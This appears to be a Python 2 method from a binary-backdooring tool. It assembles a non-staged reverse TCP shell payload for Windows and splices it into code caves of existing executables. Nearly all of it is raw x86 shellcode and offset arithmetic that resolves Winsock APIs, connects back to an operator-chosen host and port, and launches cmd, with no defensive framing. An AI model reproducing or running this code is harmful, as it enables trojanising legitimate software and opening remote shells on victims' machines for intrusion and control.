'Non-staged iat based payload.'

def iat_reverse_tcp_inline_threaded(self, flItms, CavesPicked={}):

    flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
    for api in flItms['apis_needed']:
        if (api not in flItms):
            return False
    if (self.PORT is None):
        print 'This    payload    requires    the    PORT    parameter    -P'
        return False
    if (self.HOST is None):
        print 'This    payload    requires    a    HOST    parameter    -H'
        return False
    flItms['stager'] = True
    breakupvar = eat_code_caves(flItms, 0, 1)
    if (flItms['cave_jumping'] is True):
        self.shellcode2 = '\xe8'
        if (flItms['XP_MODE'] is True):
            xp_offset = 0
        else:
            xp_offset = 11
        if (breakupvar > 0):
            if (len(self.shellcode2) < breakupvar):
                self.shellcode2 += struct.pack('<I', int(str(hex(((((4294967295 - breakupvar) - len(self.shellcode2)) + 57) - xp_offset)).rstrip('L')), 16))
            else:
                self.shellcode2 += struct.pack('<I', int(str(hex(((((4294967295 - len(self.shellcode2)) - breakupvar) + 57) - xp_offset)).rstrip('L')), 16))
        else:
            self.shellcode2 += struct.pack('<I', int(str(hex(((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 50) - xp_offset)).rstrip('L')), 16))
    else:
        self.shellcode2 = '\xe8\xe5\xff\xff\xff'
    if (flItms['NewCodeCave'] is False):
        if (CavesPicked != {}):
            self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
        else:
            self.shellcode2 += ('A' * 58)
    self.shellcode2 += '\xfc`\x89\xe51\xd2d\x8bR0\x8bR\x08'
    self.shellcode2 += '\xbb'
    if ((flItms['LoadLibraryA'] - flItms['ImageBase']) < 0):
        self.shellcode2 += struct.pack('<I', (4294967295 + ((flItms['LoadLibraryA'] - flItms['ImageBase']) + 1)))
    else:
        self.shellcode2 += struct.pack('<I', (flItms['LoadLibraryA'] - flItms['ImageBase']))
    self.shellcode2 += '\x01\xd3'
    self.shellcode2 += '\xb9'
    if ((flItms['GetProcAddress'] - flItms['ImageBase']) < 0):
        self.shellcode2 += struct.pack('<I', (4294967295 + ((flItms['GetProcAddress'] - flItms['ImageBase']) + 1)))
    else:
        self.shellcode2 += struct.pack('<I', (flItms['GetProcAddress'] - flItms['ImageBase']))
    self.shellcode2 += '\x01\xd1'
    self.shellcode2 += 'h32\x00\x00hws2_T\x87\xf1\xff\x13hup\x00\x00htarthWSASTP\x97\xff\x16\x95\xb8\x90\x01\x00\x00)\xc4TP\x90\x90\xff\xd5htA\x00\x00hockehWSASTW\xff\x16\x951\xc0PPPP@P@P\xff\xd5\x95hect\x00hconnTW\xff\x16\x87\xcd\x95j\x05h'
    self.shellcode2 += self.pack_ip_addresses()
    self.shellcode2 += 'h\x02\x00'
    self.shellcode2 += struct.pack('!h', self.PORT)
    self.shellcode2 += '\x89\xe2j\x10RQ\x87\xf9\xff\xd5'
    self.shellcode2 += '\x85\xc0t\x00j\x00hel32hkernT\xff\x13hsA\x00\x00hoceshtePrhCreaTP\xff\x16\x95\x93hcmd\x00\x89\xe3WWW\x87\xfe\x921\xf6j\x12YV\xe2\xfdf\xc7D$<\x01\x01\x8dD$\x10\xc6\x00DTPVVVFVNVVSV\x87\xda\xff\xd5\x89\xe6j\x00hel32hkernT\xff\x13hect\x00heObjhinglhForShWaitTP\x95\xff\x17\x95\x89\xf21\xf6NVF\xff2\x96\xff\xd5'
    self.shellcode2 += 'hon\x00\x00hersihGetVTV\xff\x17\xff\xd0<\x06}\x13had\x00\x00hThrehExitTV\xeb(hl\x00\x00\x00hntdlT\xff\x13hd\x00\x00\x00hhreahserThxitUhRtlETP\xff\x17j\x00\xff\xd0'
    breakupvar = eat_code_caves(flItms, 0, 1)
    self.shellcode1 = '\xfc'
    if (flItms['XP_MODE'] is True):
        self.shellcode1 += '\x89\xe51\xd2d\x8bR0\x8bR\x08'
    self.shellcode1 += '\xbb'
    if (flItms['XP_MODE'] is True):
        if ((flItms['VirtualAlloc'] - flItms['ImageBase']) < 0):
            self.shellcode1 += struct.pack('<I', (((4294967295 + flItms['VirtualAlloc']) - flItms['ImageBase']) + 1))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['VirtualAlloc'] - flItms['ImageBase']))
        self.shellcode1 += '\x01\xd3'
        self.shellcode1 += '\xb9'
        if ((flItms['CreateThread'] - flItms['ImageBase']) < 0):
            self.shellcode1 += struct.pack('<I', ((4294967295 + (flItms['CreateThread'] - flItms['ImageBase'])) + 1))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['CreateThread'] - flItms['ImageBase']))
    else:
        if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
        self.shellcode1 += '\x01\xd3'
        self.shellcode1 += '\xb9'
        if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
            self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
        else:
            self.shellcode1 += struct.pack('<I', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
    self.shellcode1 += '\x01\xd1'
    self.shellcode1 += '\x8b\xe9'
    self.shellcode1 += '\xbe'
    self.shellcode1 += struct.pack('<H', (len(self.shellcode2) - 5))
    self.shellcode1 += '\x00\x00j@h\x00\x10\x00\x00Vj\x00'
    self.shellcode1 += '\xff\x13'
    self.shellcode1 += '\x89\xc3\x89\xc7\x89\xf1'
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    else:
        self.shellcode1 += '\xeb\x16'
    self.shellcode1 += '^'
    self.shellcode1 += '\xf2\xa41\xc0PPPSPP'
    self.shellcode1 += '>\xffU\x00'
    self.shellcode1 += 'Xa'
    breakupvar = eat_code_caves(flItms, 0, 2)
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
    else:
        self.shellcode1 += '\xe9'
        self.shellcode1 += struct.pack('<I', len(self.shellcode2))
    self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
    return ((self.stackpreserve + self.shellcode1), self.shellcode2)
